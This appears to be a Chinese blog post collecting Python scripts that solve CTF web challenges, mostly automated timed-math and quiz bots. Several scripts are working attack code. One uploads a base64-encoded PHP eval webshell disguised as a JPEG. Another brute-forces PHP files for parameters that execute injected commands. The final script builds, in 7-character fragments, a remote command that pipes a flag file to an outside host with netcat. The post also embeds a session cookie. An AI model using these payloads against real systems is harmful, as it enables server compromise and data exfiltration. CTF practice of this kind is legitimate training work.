web request python脚本

 bugku 速度要快

import requests
import base64
 
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
 
txt = base64.b64decode(flag)
txt=txt.decode()
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
 
data = {'margin': txt}
ans = req.post(url, data)
print ans.content

bugku 秋名山车神
import requests
import re
 
url='''http://114.67.175.224:18471'''
 
#創建一個session,帮我们跨请求保持某些参数,也会在同一个session实例发出的所有请求之间保持cookies
session1=requests.session()
 
#获取返回数据包信息
response_get=session1.get(url)
 
#匹配1232131231-123123123-12312321算数表达式
result=re.search(r'(\d+[+\-*])+(\d+)',response_get.text)
#print(result)
 
#获得算数表达式匹配结果
expressions=result.group()
#eval()--执行()代码
myvalue=eval(expressions)
 
#创建一个字典
key = {'value':myvalue}
#用post方法传上去
flag=session1.post(url,data=key)
print(flag.text)

3.typingtrain 直接用get 

4.组委会模拟器

import requests
import re
from time import sleep
from json import dumps

req=requests.session()
url='http://202.38.93.111:10021/api/' # 修改
headers={ #修改Cookie
    'Content-Type':"application/json",
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        'Cookie':"session=eyJ0b2tlbiI6IjMxODg6TUVVQ0lRRHM1K1FnYVRxTElaSmRBazBrWTFwRGtTMUV6dlZIeXZYTTlRZjZyOWJvbEFJZ0VWK2pxbTVId01ZdlJ2VHBOcUNaK1g4QnpHKzNiU1JYWlpvbTlmVEltNmM9In0.ZUSqYA.8ZuTpsbEuBhu3yvHkSmNuLz_RR8"}

res=req.post(url=url+"getMessages",headers=headers)
delays=re.findall(r'"delay":(.*?),',res.text) #提取所有消息的延迟
comm=re.findall(r'"text":(.*?)"}',res.text)#提取所有消息的内容
# print(len(comm))
t=0

for i in range(len(comm)):
    if re.search(r'hack\[(.*?)\]',comm[i]):
        sleeptime=(float(delays[i])-t)*0.955
        # 延迟时间=下一条信息的时间-上一条信息的时间
        # 考虑到程序本身执行的延迟,乘上一个小于1的倍率
        sleep(sleeptime)
        t=float(delays[i])
        data={"id":i}
        print(data)
        # 由于delete以post提交json表单,所以使用dumps序列化data
        del_=req.post(url=url+'deleteMessage',headers=headers,data=dumps(data))
        print(del_.text)

sleep(2)
res=req.post(url=url+"getflag",headers=headers)
print(res.text)
import re
import time
import requests

s = requests.Session()
s.cookies.set('session', '')

r = s.post('http://202.38.93.111:10021/api/getMessages')
messages = r.json()['messages']
t0 = time.time()

for i in range(1000):
    message = messages[i]
    if re.search(r'hack\[[a-z]+\]', message['text']) is None:
        continue
    while t0+message['delay'] > time.time():
        continue
    r = s.post('http://202.38.93.111:10021/api/deleteMessage', json={'id': i})
    print(f'{i}: {r.json()}')

r = s.post('http://202.38.93.111:10021/api/getflag')
print(r.json())

5.高明的·黑客:多线程,一次性发送全部参数

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  			#这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()												
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

6.计算器

import re
import requests
url='http://node4.anna.nssctf.cn:28531/'
session保持会话
s=requests.session()
num=64912893 + 89266395
data={'answer':num}
res=s.post(url=url,data=data)
res.encoding='utf-8'
exp=re.findall('<br>(\d+.*\d+)<br>',res.text)[0]
num=eval(exp)
for i in range(1011):
    print(num)
    data={'answer':num}
    res=s.post(url=url,data=data)
编码防止中文乱码
    res.encoding='utf-8'
    print(res.text)
    if i >= 1000:
        print(res.text)
    if 'flag{' in res.text:
        flag=re.findall('flag{.*}',res.text)[0]
        print(flag)
        break
    else :
        exp=re.findall('<br>(\d+.*\d+)<br>',res.text)[0]
        num=eval(exp)
        print(num)
        print(i)


7. guss who am I

import requests

answer = [
   {
        "id": "陈斩仙",
        "intro": "什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU",
        "url": "https://mxgcccc4.github.io/"
    },
    {
        "id": "Eric",
        "intro": "渗透 / 人工智能 / 北师大博士在读",
        "url": "https://3riccc.github.io"
    }
]
s = requests.session()
for i in range(200):
    getscore = "http://week-1.hgame.lwsec.cn:32703/api/getScore"
    getquestion = 'http://week-1.hgame.lwsec.cn:32703/api/getQuestion'
    verifyanswer = "http://week-1.hgame.lwsec.cn:32703/api/verifyAnswer"
    r1 = s.get(getscore)
    if "hgame" in r1.text:
        print(r1.json()["message"])
        break
    else:
        r2 = s.get(getquestion)
        data1 = r2.json()
        find_id=data1["message"]
        for j in answer:
            if find_id in j.values():
                id = j["id"]
                break
        data = {"id":id}
        r3 = s.post(verifyanswer,data=data)
        if "Correct answer!" in r3.text:
            print(f"第{i+1}次正确")

8.上传文件

import requests
import base64
 
content = b"""aaaPD9waHAgZXZhbCgkX1JFUVVFU1RbOF0pOz8+"""
 
url = "http://43.142.108.3:28571/Ns_SCtF.php
 
data = {"submit": "Submit"}
files = {'file': ('1.php', content, 'image/jpeg')}
resp = requests.post(url, data=data, files=files)
print(resp.text)

长度限制rce:

import time,requests
#7长度命令执行

baseurl="   /?cmd="
s=requests.session()
#cat flag|nc 192.168.1.161 7777
list=[
    '>7777',
    '>1\%20\\',
    '>16\\',
    '>1.\\',
    '168.\\',
    '2.\\',
    '>19\\',
    '>c\%20\\',
    '>\|n\\',
    '>ag\\',
    'fl\\',
    '>t\ \\',
    'ca\\',
    'ls -t>a'
]
for i in list:
    time.sleep(1)
    url=baseurl+str(i)
    s.get(url)
s.get(baseurl+'sh a')

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值